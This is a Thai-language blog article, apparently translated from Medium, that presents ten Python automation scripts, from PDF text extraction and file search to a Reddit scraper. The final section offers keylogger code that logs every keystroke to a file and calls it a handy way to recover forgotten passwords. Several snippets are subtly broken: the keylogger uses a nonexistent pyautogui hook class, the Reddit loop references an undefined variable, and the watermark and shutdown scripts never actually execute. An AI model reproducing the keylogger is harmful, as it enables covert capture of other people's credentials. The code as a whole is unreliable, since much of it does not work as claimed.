คอลเลกชันสคริปต์ Python ที่มีประโยชน์ที่สุดสำหรับปัญหา Python รายวันของคุณ
การทำงานเดิมๆ ทุกวัน น่าเบื่อและเครียด เช่น การค้นหาไฟล์บนพีซี การส่งอีเมลจำนวนมาก การดึงข้อความจาก PDF และอื่นๆ อีกมากมาย มาทำงานเหล่านั้นโดยอัตโนมัติด้วย Python ในบทความนี้ ฉันจะแสดง สคริปต์ Python 10 ตัวสำหรับปัญหารายวันของคุณ ใส่บทความนี้ไว้ในรายการของคุณแล้วเริ่มกันเลย
การควบคุมความซับซ้อนเป็นหัวใจสำคัญของการเขียนโปรแกรมคอมพิวเตอร์
— ไบรอัน เคอร์นิแกน
👉แยกข้อความจาก PDF
ดึงข้อความจาก PDF ใด ๆ ได้อย่างแม่นยำ สคริปต์อัตโนมัตินี้ใช้ โมดูล PdfPlumber ซึ่งในความคิดของฉันเป็นโมดูลที่ใช้เรียกข้อความจาก PDF ทั้งหมดได้ง่ายกว่ามาก
# Extract Text from PDF # pip install pdfplumber import pdfplumber as plumber def PDF_Extractor(file): text = "" pdf = plumber.open(file) for page in pdf.pages: text += page.extract_text() pdf.close() print(text) PDF_Extractor("test.pdf")
👉ส่งอีเมลพร้อมไฟล์
ตอนนี้คุณสามารถส่งอีเมลพร้อมไฟล์แนบได้ง่ายขึ้น ด้านล่างสคริปต์ใช้ โมดูล Quick-mailerซึ่งจะช่วยให้คุณส่งเสียง วิดีโอ รูปภาพ หรือรูปแบบไฟล์ใดๆ ที่มีโค้ดไม่กี่บรรทัด
# Send Email with Astachments # pip install quick-mailer import mailer as email # login send = email.Mailer("[email protected]", "password") # send email with Files send.send(receiver="[email protected]", subject="Hello", message="Hi its medium", files=["test.py"], image="test.png")
👉 ค้นหาไฟล์
กำลังมองหาไฟล์แต่รู้ว่าคุณบันทึกไว้ที่ไหนบนพีซีของคุณ สคริปต์อัตโนมัตินี้จะช่วยคุณได้ สคริปต์นี้จะสแกนไฟล์ระบบและไดรฟ์ทั้งหมดของคุณเพื่อหาไฟล์ที่คุณกำลังมองหา
# File Searcher import os import sys # search file in whole system def search_file(filename): for root, dirs, files in os.walk('/'): if filename in files: print(os.path.join(root, filename)) # search file in a path def search_file_in_path(filename, path): for root, dirs, files in os.walk(path): if filename in files: print(os.path.join(root, filename)) search_file("test.png") search_file_in_path("test.png", "D:\\folder")
👉ปิดเครื่องอัตโนมัติ
สคริปต์ง่ายๆ นี้จะทำให้กระบวนการปิดระบบของคุณเป็นแบบอัตโนมัติ สมมติว่าคุณลืมปิดพีซีของคุณ จากนั้นสคริปต์นี้จะปิดพีซีของคุณโดยอัตโนมัติตามเวลาที่ตั้งไว้
# Auto Shutdown # pip install schedule import schedule import os def shutdown(): os.system("shutdown /s /t 1") schedule.every().day.at("23:59").do(shutdown)
👉ดึงข้อมูลตำแหน่งทางภูมิศาสตร์ IP
จำเป็นต้องดึงข้อมูลตำแหน่งทางภูมิศาสตร์ของที่อยู่ IP ใด ๆ จากนั้นใช้สคริปต์ด้านล่าง ที่ใช้ ไม่มีค่าใช้จ่าย Web API ที่ช่วยให้คุณสามารถดึงข้อมูลตำแหน่งทางภูมิศาสตร์ของที่อยู่ Ip ได้
# Geolocation API import urllib3 import json IP = "Any IP Address" api_url = "https://api.techniknews.net/ipgeo/" + IP http = urllib3.PoolManager() r = http.request('GET', api_url) data = json.loads(r.data.decode('utf-8')) print(json.dumps(data, indent=4, sort_keys=True))
👉 ลายน้ำวิดีโอ
เราได้เห็นสคริปต์สำหรับใส่ลายน้ำให้กับรูปภาพแล้ว แต่ตอนนี้สคริปต์นี้จะแสดงให้คุณเห็นวิธีที่ง่ายกว่าในการใส่ลายน้ำให้กับวิดีโอของคุณโดยใช้ โมดูล PyFFmpeg
# Video Watermarking # pip install pyffmpeg from pyffmpeg import * def Watermark(video, watermark): ffmpeg = FFmpeg() ffmpeg.options("-i {video} -i {watermark} -filter_complex overlay=1500:10 output.mp4") print("Watermarking video...") Watermark("video.mp4", "watermark.png")
👉 โปรแกรมปรับขนาดรูปภาพ
ปรับขนาดรูปภาพของคุณให้เป็นความกว้างหรือความสูงโดยใช้สคริปต์อัตโนมัติด้านล่าง
# Image Resizer # pip install pillow from PIL import Image def Image_ReSizer(img_file, width, height): img = Image.open(img_file) photo = img.resize((width, height), Image.ANTIALIAS) photo.save("test_resized.jpg") Image_ReSizer("test1.png", 1920, 1080)
👉 CSV อย่างง่ายเป็น JSON
ประสบปัญหาในการแปลง CSV เป็นรูปแบบ JSON ให้ลองใช้สคริปต์อัตโนมัติด้านล่างนี้ซึ่งใช้โมดูล Pandas เพื่อแปลง CSV เป็น JSON และ JSON เป็น CSV
# CSV to JSON # pip install pandas import pandas as pd import json def CSV_to_JSON(file): df = pd.read_csv(file) df.to_json('file.json', orient='records') CSV_to_JSON('file.csv')
👉 Reddit โพสต์แยก
แยกโพสต์ Reddit ที่คุณชื่นชอบด้วยสคริปต์อัตโนมัตินี้ สคริปต์นี้ใช้ โมดูล Praw อย่างเป็นทางการที่ช่วยให้คุณสามารถดึงโพสต์ของ subreddit ใด ๆ ที่มีความคิดเห็น URL ชื่อ และอื่น ๆ อีกมากมาย
# Reddit Post Extractor # pip install praw from re import sub import praw as pr bot = pr.Reddit(client_id='CLIENT_ID', client_secret='CLIENT_SECRET') subreddit = bot.subreddit('subreddit_name') for sub in subreddit.hot(limit=10): print(sub.title) print(sub.url) print(subn.selftext) sub.comments.replace_more(limit=0) for com in sub.comments.list(): print(com.body)
👉 ทำคีย์ล็อกเกอร์
สคริปต์นักฆ่านี้จะช่วยคุณสร้างคีย์ล็อกเกอร์ด้วยโค้ดไม่กี่บรรทัด เครื่องมือที่มีประโยชน์นี้สามารถใช้ในการบันทึกรหัสผ่านของคุณได้หากคุณลืม
# Build Keylogger # pip install pyautogui import pythoncom, pyautogui def OnKeyboardEvent(event): f = open('keylog.txt', 'a') f.write(event.Key) f.close() hooks_manager = pyautogui.HooksManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
👉ความคิดสุดท้าย
ฉันหวังว่าคุณจะพบสคริปต์อัตโนมัติที่มีประโยชน์ หากคุณพบว่าบทความนี้น่าสนใจ โปรดแชร์ ❤️ กับเพื่อนๆ ของคุณ เพราะการแบ่งปันคือการเอาใจใส่
การเข้ารหัส Python อย่างมีความสุข
ปลดล็อกบทความทั้งหมดของฉันและเรื่องขนาดกลางและบทความทั้งหมดโดยเข้าร่วม การสมัครสมาชิกระดับปานกลางที่นี่ หรือคลิกด้านล่างผู้อ้างอิง เพื่อที่ฉันจะได้รับการสนับสนุนด้วย😊👇
อย่าหยุดเรียนรู้ นี่คือบทความเกี่ยวกับการเขียนโปรแกรมของฉันด้านล่างนี้ในปริมาณรายวันของคุณ หวังว่าคุณจะชอบบทความเหล่านั้นเช่นกัน
เนื้อหาเพิ่มเติมได้ที่ PlainEnglish.io ลงทะเบียนเพื่อรับ จดหมายข่าวรายสัปดาห์ฟรี ของเรา ติดตามเราบน Twitter, LinkedIn, YouTube และ Discord . สนใจ Growth Hacking ไหม ลองดูที่ วงจร